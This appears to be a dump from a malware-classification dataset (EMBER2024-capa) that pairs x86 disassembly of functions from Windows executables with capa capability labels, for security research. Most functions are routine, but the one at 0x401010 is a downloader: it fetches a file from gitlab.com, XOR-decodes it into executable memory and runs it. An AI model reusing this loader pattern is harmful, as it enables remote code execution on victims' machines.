joyce8/EMBER2024-capa huggingface dataset:
Function at 0x51b8da
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
jne 0x51b8ea
xor eax, eax
jmp 0x51bab3
mov eax, dword [ebp + 8]
xor eax, 0xffffffff
mov dword [ebp + 8], eax
cmp dword [ebp + 0x10], 8
jb 0x51ba6b
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x53da0c]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x53da0c]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x53da0c]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x53da0c]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x53da0c]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x53da0c]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x53da0c]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x53da0c]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0x10]
sub ecx, 8
mov dword [ebp + 0x10], ecx
jmp 0x51b8f3
cmp dword [ebp + 0x10], 0
je 0x51baad
mov edx, dword [ebp + 0xc]
xor eax, eax
mov al, byte [edx]
mov ecx, dword [ebp + 8]
xor ecx, eax
and ecx, 0xff
mov edx, dword [ebp + 8]
shr edx, 8
mov eax, dword [ecx*4 + 0x53da0c]
xor eax, edx
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
add ecx, 1
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp + 0x10]
sub edx, 1
mov dword [ebp + 0x10], edx
cmp dword [ebp + 0x10], 0
jne 0x51ba71
mov eax, dword [ebp + 8]
xor eax, 0xffffffff
pop ebp
ret
Function at 0x401010
Capabilities:
Allocate or change rwx memory
Connect to http server
Create http request
Encode data using xor
Execute shellcode via indirect call
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5573c
call fcn.0040dfe0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x400
call esi
push 0
call esi
cmp eax, 0x400
je 0x401040
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
push edi
push 0x55730
lea eax, [ebp - 0x5573c]
push 0
push eax
call fcn.004021c0
add esp, 0xc
mov edi, 0x55730
push 0
push 0
push 0
push 0
push str.Mozilla_1.22__compatible__MSIE_2.0__Windows_95_
call dword [sym.imp.WININET.dll_InternetOpenW]
test eax, eax
je 0x401092
push 0
push 0
push 3
push 0
push 0
push 0x1bb
push str.gitlab.com
push eax
call dword [sym.imp.WININET.dll_InternetConnectW]
test eax, eax
jne 0x4010a9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], 0x7a786171
xor esi, esi
mov word [ebp - 4], 0x626e
jmp 0x401110
push 0
push 0x808c3200
push 0
push 0
push 0
push str._00Nullptr00_qaxnb___raw_4d569e75f1921c65f364104a1761cf6ebec21f0f_SBTDM32
push 0x413d10
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
push 0
push 0
push 0
mov esi, eax
push 0
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
push 0x55730
lea eax, [ebp - 0x5573c]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov edi, dword [ebp - 8]
xor esi, esi
mov dword [ebp - 8], 0x7a786171
mov word [ebp - 4], 0x626e
test edi, edi
jle 0x401133
nop dword [eax + eax]
mov eax, 0xaaaaaaab
mul esi
mov eax, esi
shr edx, 2
lea ecx, [edx + edx*2]
add ecx, ecx
sub eax, ecx
mov al, byte [ebp + eax - 8]
xor byte [ebp + esi - 0x5573c], al
inc esi
cmp esi, edi
jl 0x401110
push 0x40
push 0x3000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
lea eax, [ebp - 0x5573c]
push edi
push eax
push esi
call fcn.00402c40
add esp, 0xc
call esi
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40182f
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40186e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40186e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40186e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40186e
cmp dword [ecx + 0x74], 0xe
jbe 0x40186e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x405f64
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x410498
push 0x410490
push str.FlsAlloc
push 0x1e
call fcn.00405e25
mov esi, eax
add esp, 0x10
test esi, esi
je 0x405f98
push dword [ebp + 8]
mov ecx, esi
call dword [0x40f12c]
call esi
jmp 0x405f9e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x405fe2
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4104a8
push 0x4104a0
push str.FlsGetValue
push 0x20
call fcn.00405e25
mov esi, eax
add esp, 0x10
test esi, esi
je 0x406019
push dword [ebp + 8]
mov ecx, esi
call dword [0x40f12c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x4083ad
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40844a
push ebx
push esi
call fcn.00408376
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.004082bf
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4083f7
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x408449
push edi
push eax
call fcn.00406dfc
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x408417
call fcn.00405cb8
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x408448
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.004082bf
add esp, 0x20
test eax, eax
jne 0x408436
push edi
call fcn.00405cb8
jmp 0x40843e
push ebx
call fcn.00405cb8
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x40deb0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40dedd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40dedd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x539780
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xc2000]
push edi
jmp 0x53979a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5397a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x539790
mov eax, 1
add ebx, ebx
jne 0x5397b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5397c4
jne 0x5397e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5397e3
dec eax
add ebx, ebx
jne 0x5397d0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5397a8
add ebx, ebx
jne 0x5397df
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x539835
xor ecx, ecx
sub eax, 3
jb 0x5397fb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x53986a
sar eax, 1
mov ebp, eax
jmp 0x539806
add ebx, ebx
jne 0x539806
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5397d4
inc ecx
add ebx, ebx
jne 0x539814
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5397d4
add ebx, ebx
jne 0x539821
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x539816
jne 0x539832
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x539816
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x539854
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x539846
jmp 0x539796
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x539854
add edi, ecx
jmp 0x539796
pop esi
mov edi, esi
mov ecx, 0x73ff
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x539872
cmp byte [edi], 0x26
jne 0x539872
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x539877
lea edi, [esi + 0x136000]
mov eax, dword [edi]
or eax, eax
je 0x5398ef
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x13dae8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x13dbec]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5398a4
mov ecx, edi
jns 0x5398d3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x13dbf0]
or eax, eax
je 0x5398e9
mov dword [ebx], eax
add ebx, 4
jmp 0x5398c1
call dword [esi + 0x13dc00]
mov ebp, dword [esi + 0x13dbf4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x539923
sub esp, 0xffffff80
jmp 0x474e49
Function at 0x4c5700
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x4b002e
lea edi, [esi - 0xac02e]
push edi
or ebp, 0xffffffff
jmp 0x4c5722
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4c5729
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c5718
mov eax, 1
add ebx, ebx
jne 0x4c573b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4c5730
jne 0x4c574c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4c5730
xor ecx, ecx
sub eax, 3
jb 0x4c5760
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4c57d2
mov ebp, eax
add ebx, ebx
jne 0x4c576b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4c5778
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4c579c
inc ecx
add ebx, ebx
jne 0x4c5788
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4c577d
jne 0x4c5799
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4c577d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4c57bc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4c57ad
jmp 0x4c571e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4c57bc
add edi, ecx
jmp 0x4c571e
pop esi
mov edi, esi
mov ecx, 0x1366
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4c57da
cmp byte [edi], 0xd
jne 0x4c57da
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x4c57df
lea edi, [esi + 0xbc000]
mov eax, dword [edi]
or eax, eax
je 0x4c584e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xc49c4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xc4a78]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4c580c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xc4a7c]
or eax, eax
je 0x4c5848
mov dword [ebx], eax
add ebx, 4
jmp 0x4c5829
call dword [esi + 0xc4a80]
popal
jmp 0x404001
Function at 0x100048f4
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x101c2950]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x108]
mov dword [ebp - 0x110], 0x2e58505c
push eax
xor ebx, ebx
mov dword [ebp - 0x10c], 0x747874
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea edx, [ebp - 0x110]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x10004948
lea edi, [ebp - 0x108]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004958
mov ecx, edx
lea eax, [ebp - 0x108]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push ebx
push 0x80
push 3
push ebx
push 1
mov ecx, edx
and ecx, 3
push SysReAllocStringLen
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x100049c9
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call fcn.10007385
and dword [ebp - 0x10c], 0
mov edi, eax
pop ecx
push 0
lea eax, [ebp - 0x10c]
push eax
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test edi, edi
je 0x100049c9
push edi
call fcn.10003dcb
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1013e8fc
mov esp, ebp
pop ebp
ret
Function at 0x1000a1a7
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x18
mov eax, 0x1015c556
call fcn.1013e944
mov eax, ecx
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp + 0x10]
xor edi, edi
mov ecx, dword [ebp + 0x14]
push edi
mov dword [ebx], edi
mov dword [ecx], edi
cmp dword [eax + 0x58], edi
je 0x1000a251
push dword [ebp + 8]
mov ecx, eax
call fcn.1000a4df
mov esi, eax
test esi, esi
je 0x1000a2e4
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
lea eax, [ebp - 0x14]
mov dword [ebp - 4], edi
push eax
push edi
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], edi
push eax
push edi
push dword [ebp + 0xc]
mov dword [ebp - 0x14], edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 0x14]
mov dword [ecx], edx
test eax, eax
jne 0x1000a23a
push edx
call fcn.10007385
pop ecx
lea ecx, [ebp - 0x14]
mov dword [ebx], eax
push ecx
push eax
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebp + 0xc]
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1000a23a
xor edi, edi
inc edi
jmp 0x1000a244
push dword [ebx]
call fcn.10007380
pop ecx
mov dword [ebx], edi
lea ecx, [ebp - 0x24]
call fcn.1000a06c
jmp 0x1000a2e2
mov esi, dword [eax]
lea eax, [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
mov esi, dword [esi + 0x84]
mov ecx, esi
push eax
call fcn.1013efb4
mov ecx, dword [ebp - 0x18]
call esi
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], 1
mov esi, dword [eax - 0xc]
mov dword [ebp - 0x18], esi
test esi, esi
je 0x1000a2da
mov ecx, dword [ebp + 0x14]
mov eax, esi
shr eax, 1
push eax
mov dword [ecx], eax
call fcn.10007385
mov dword [ebx], eax
pop ecx
test esi, esi
jle 0x1000a2d4
mov esi, dword [ebp + 0x10]
lea eax, [edi + 1]
push eax
lea ecx, [ebp - 0x10]
call fcn.1000a048
push edi
lea ecx, [ebp - 0x10]
lea ebx, [eax - 1]
shl bl, 4
sub bl, 0x41
call fcn.1000a048
add al, bl
mov edx, edi
test edx, edx
jns 0x1000a2c5
add edx, 1
sar edx, 1
mov ecx, dword [esi]
add edi, 2
mov byte [edx + ecx], al
cmp edi, dword [ebp - 0x18]
jl 0x1000a29c
mov eax, dword [ebp - 0x10]
xor edi, edi
inc edi
lea ecx, [eax - 0x10]
call fcn.10009a3d
mov eax, edi
call fcn.1013e90d
ret 0x10

Function at 0x1000a2ec
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push edi
cmp dword [ecx + 0x58], esi
je 0x1000a33f
push esi
push dword [ebp + 8]
call fcn.1000a4df
mov edi, eax
test edi, edi
jne 0x1000a30f
mov eax, dword [ebp + 0x10]
jmp 0x1000a351
lea eax, [ebp - 4]
mov dword [ebp - 4], 4
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push dword [ebp + 0xc]
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x1000a30a
mov eax, dword [ebp - 8]
jmp 0x1000a351
push dword [ecx + 0x6c]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1000f17b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 4], ecx
mov esi, edi
cmp dword [ebp + 8], esi
je 0x1000f1c0
call fcn.1000c3f4
push 0xf0
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x1000f1c0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x1000f1dc
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.1001d04f
mov ebx, eax
test edi, edi
je 0x1000f1da
test esi, esi
je 0x1000f1da
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x1000fbec
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
je 0x1000fcaa
cmp dword [esi + 0x20], 0
je 0x1000fcaa
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x1000fcaa
cmp dword [ebp + 8], 0
je 0x1000fcaa
xor eax, eax
mov ebx, eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], ebx
mov edi, eax
call fcn.1000c3f4
push str.AFX_DIALOG_LAYOUT
push dword [ebp + 8]
mov eax, dword [eax + 0xc]
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x1000fc7b
mov edi, dword [ebp - 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push dword [ebp - 0x10]
mov dword [ebp - 4], eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x1000fcaa
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov dword [ebp - 8], eax
push dword [ebp - 4]
push ebx
push esi
call fcn.1001dbff
add esp, 0xc
mov ebx, eax
cmp dword [ebp - 8], 0
je 0x1000fc9b
test edi, edi
je 0x1000fc9b
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
test ebx, ebx
je 0x1000fca6
mov ecx, esi
call fcn.1000f98f
mov eax, ebx
jmp 0x1000fcac
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x100141b7
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x1016925c
call fcn.1013e944
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x74], ebx
jne 0x100141dd
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x1001423c
call fcn.10015958
push eax
lea ecx, [ebp - 0x10]
call fcn.10008518
mov edi, dword [edi + 0x74]
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 4], ebx
mov eax, dword [edi]
mov esi, dword [eax + 0x8c]
mov ecx, esi
call fcn.1013efb4
mov ecx, edi
call esi
mov esi, dword [ebp + 8]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push esi
call fcn.1014633b
push eax
call fcn.10008af9
add esp, 0x14
test esi, esi
je 0x1001422f
push esi
call fcn.1014462b
pop ecx
mov ebx, eax
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.10009a3d
mov eax, ebx
call fcn.1013e90d
ret 8
Function at 0x1001e238
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, ecx
push edi
mov edi, dword [ebp + 8]
mov dword [ebx + 0x84], edi
test edi, 0xffff0000
jne 0x1001e263
cmp dword [ebx + 0x80], 0
jne 0x1001e263
movzx eax, di
mov dword [ebx + 0x80], eax
call fcn.1000c3f4
push 5
push edi
mov esi, dword [eax + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov edi, eax
mov ecx, ebx
push edi
call fcn.1001e4f6
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x1001e29d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor esi, esi
call fcn.1000c3f4
push 5
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x1001e2d4
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
mov ecx, dword [ebp - 4]
push ebx
push dword [ebp + 0xc]
push esi
call fcn.1001e2f5
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x100203fb
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
push edi
mov dword [ebp - 4], ebx
test byte [esi + 4], 1
je 0x10020415
mov edi, dword [esi + 0xc]
jmp 0x10020455
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x1002042e
call fcn.1001a26c
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x10020443
call fcn.1001a26c
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x10020455
call fcn.1001a26c
call fcn.1000c3f4
cmp dword [eax + 0x3c], 0
je 0x1002046a
push edi
mov ecx, ebx
call fcn.1001fb34
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.10020647
mov ebx, eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x88]
test ecx, ecx
je 0x10020493
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 4]
and dword [eax + 0x88], 0
test ebx, ebx
je 0x1002049f
mov edi, ebx
mov dword [eax + 0x88], ebx
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8